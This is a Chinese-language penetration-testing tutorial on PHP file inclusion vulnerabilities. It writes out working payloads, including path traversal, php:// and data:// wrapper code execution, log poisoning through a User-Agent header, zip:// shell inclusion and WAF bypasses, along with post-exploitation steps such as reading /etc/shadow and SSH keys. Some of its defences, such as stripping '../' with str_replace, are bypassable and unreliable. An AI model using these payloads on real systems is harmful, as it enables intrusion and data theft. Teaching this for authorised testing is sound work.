1. 文件包含漏洞的本质与危害
文件包含(File Inclusion)漏洞是Web安全领域中最常见的高危漏洞之一,它允许攻击者通过构造特殊参数读取或执行服务器上的任意文件。这种漏洞通常出现在动态包含文件的场景中,比如PHP的include()、require()函数,或是其他服务端语言中的类似功能。
在实际渗透测试中,文件包含漏洞主要分为两种类型:
- 本地文件包含(LFI):攻击者能够包含服务器本地的文件
- 远程文件包含(RFI):攻击者能够包含远程服务器上的文件
我曾在一个电商网站的渗透测试中发现,其商品详情页使用了类似/product.php?page=description.html的URL结构。通过将参数修改为../../../../etc/passwd,成功读取到了系统敏感文件。这种漏洞的危害性在于:
- 敏感信息泄露:可读取配置文件、数据库凭证、日志文件等
- 代码执行:结合日志注入、PHP伪协议等可实现远程代码执行
- 权限提升:获取系统关键信息后可能进一步渗透内网
2. 文件包含漏洞的利用技术
2.1 基础利用手法
最常见的利用方式是路径遍历(Path Traversal)。假设存在这样的PHP代码:
<?php include($_GET['page'] . '.html'); ?>攻击者可以尝试以下payload:
http://example.com/index.php?page=../../../../etc/passwd%00其中%00是空字符,用于截断后面的.html后缀。不过需要注意的是,PHP 5.3.4之后已经修复了空字符截断的问题。
2.2 PHP伪协议的高级利用
PHP提供了多种伪协议,为文件包含漏洞利用提供了更多可能性:
php://filter:用于读取文件源码
php://filter/convert.base64-encode/resource=config.php这种手法可以绕过某些内容检查,因为返回的是base64编码后的内容
php://input:直接执行POST数据中的代码
php://input同时需要在POST body中提交:
<?php system('id'); ?>data://:直接包含数据流
data://text/plain,<?php phpinfo();?>
我在一次渗透测试中遇到过一个有趣的案例:目标网站对包含的文件路径做了严格检查,但允许使用zip://协议。通过上传一个包含恶意脚本的ZIP文件,然后通过zip://uploads/evil.zip%23shell.php成功实现了代码执行。
2.3 日志注入技术
当直接的文件包含受阻时,日志文件注入是个有效的备选方案。典型步骤如下:
- 确定Web服务器日志位置(如Apache的/var/log/apache2/access.log)
- 通过User-Agent或Referer注入PHP代码
curl -A "<?php system($_GET['cmd']);?>" http://target.com/ - 包含日志文件执行代码
http://target.com/vuln.php?file=/var/log/apache2/access.log
3. 渗透测试中的调试技巧
3.1 手工测试方法论
在实际渗透测试中,我通常会按照以下流程测试文件包含漏洞:
- 参数枚举:使用Burp Suite抓包,找出所有可能包含文件的参数
- 基础测试:尝试包含已知文件(如/etc/passwd)
- 后缀绕过:尝试各种截断技术(空字符、超长字符串等)
- 协议探测:测试不同伪协议的支持情况
- 上下文突破:结合目录穿越尝试访问不同位置的文件
3.2 自动化工具辅助
虽然手工测试很重要,但合理使用工具能提高效率:
- Burp Suite:Intruder模块可用于快速测试各种payload
- FFUF:用于模糊测试文件路径
ffuf -w wordlist.txt -u "http://target.com/page.php?file=FUZZ" - LFI Suite:专门针对LFI漏洞的测试工具
需要注意的是,自动化工具可能会产生大量请求,在授权测试中要谨慎使用,避免对目标系统造成影响。
4. 防御与加固方案
4.1 编码层面的防护
根据OWASP的建议,最根本的解决方案是避免使用用户输入直接包含文件。如果必须这样做,应该:
白名单验证:只允许包含预定义的文件
$allowed = ['home.php', 'about.php']; if(in_array($_GET['page'], $allowed)) { include($_GET['page']); }路径固定:将包含文件限制在特定目录
$base_dir = '/var/www/includes/'; include($base_dir . $_GET['page']);过滤特殊字符:移除
../等目录遍历字符$file = str_replace(['../', '..\\'], '', $_GET['file']);
4.2 系统配置加固
除了代码层面的防护,系统配置也很重要:
PHP配置:
open_basedir = /var/www/html/ allow_url_include = Off allow_url_fopen = OffWeb服务器权限:
- 确保Web应用以低权限用户运行
- 限制对系统目录的读取权限
文件系统监控:
- 使用inotify监控关键文件的访问
- 设置日志告警机制
4.3 实际案例中的教训
在一次金融系统的渗透测试中,我发现虽然开发人员实现了文件包含的白名单检查,但却犯了一个常见错误:检查后修改了原始输入。攻击者可以通过竞争条件在检查和使用之间替换文件路径。正确的做法应该是:
$page = $_GET['page']; validate_page($page); // 验证不修改原始输入 include(BASE_DIR . $page);5. 渗透测试实战技巧
5.1 信息收集阶段
在开始测试文件包含漏洞前,充分的信息收集至关重要:
技术栈识别:
- 使用Wappalyzer等工具识别服务端技术
- 特别关注PHP版本(不同版本有不同特性)
文件路径猜测:
- Linux常见日志路径:
/var/log/apache2/access.log /var/log/nginx/access.log /proc/self/environ - Windows常见路径:
C:\Windows\System32\drivers\etc\hosts C:\xampp\apache\logs\access.log
- Linux常见日志路径:
应用特性分析:
- 查看robots.txt发现敏感路径
- 通过错误信息获取文件系统结构
5.2 绕过WAF的技巧
现代WAF通常会拦截常见的文件包含payload,以下是一些绕过技巧:
编码绕过:
php://filter/convert.iconv.UTF-8.UTF-16/resource=config.php协议嵌套:
zip://phar://uploads/evil.jpg/shell.php超长字符串:
../../../../etc/passwd............[超过系统路径长度限制]大小写变异:
pHp://FilTer/convert.base64-encode/resource=index.php
在一次针对云WAF的测试中,我发现通过将payload拆分成多个参数可以绕过检测:
file=php:/&file2=/filter/convert.base64-encode/resource=index.php5.3 后渗透利用
成功利用文件包含漏洞后,通常会进行以下操作:
获取Webshell:
- 通过文件包含写入webshell
- 利用PHP的
file_put_contents()函数
权限提升:
- 读取
/etc/shadow尝试破解密码 - 查找数据库配置文件获取凭证
- 读取
内网渗透:
- 读取
/proc/net/arp获取内网主机信息 - 通过包含SSH密钥文件横向移动
- 读取
6. 靶场环境实践建议
对于想练习文件包含渗透技术的安全爱好者,我推荐以下资源:
DVWA (Damn Vulnerable Web Application):
- 提供不同难度的文件包含挑战
- 适合初学者理解基础原理
OWASP Juice Shop:
- 包含多种Web漏洞的综合性靶场
- 文件包含挑战设计巧妙
Vulnhub虚拟机:
- 如"Kioptrix"系列包含经典LFI漏洞
- 模拟真实环境,适合进阶练习
在本地搭建测试环境时,我建议使用Docker快速部署:
docker run -d -p 80:80 vulnerables/web-dvwa练习时要注意:
- 每次测试前备份重要数据
- 在隔离网络环境中进行
- 记录每个成功的payload和对应场景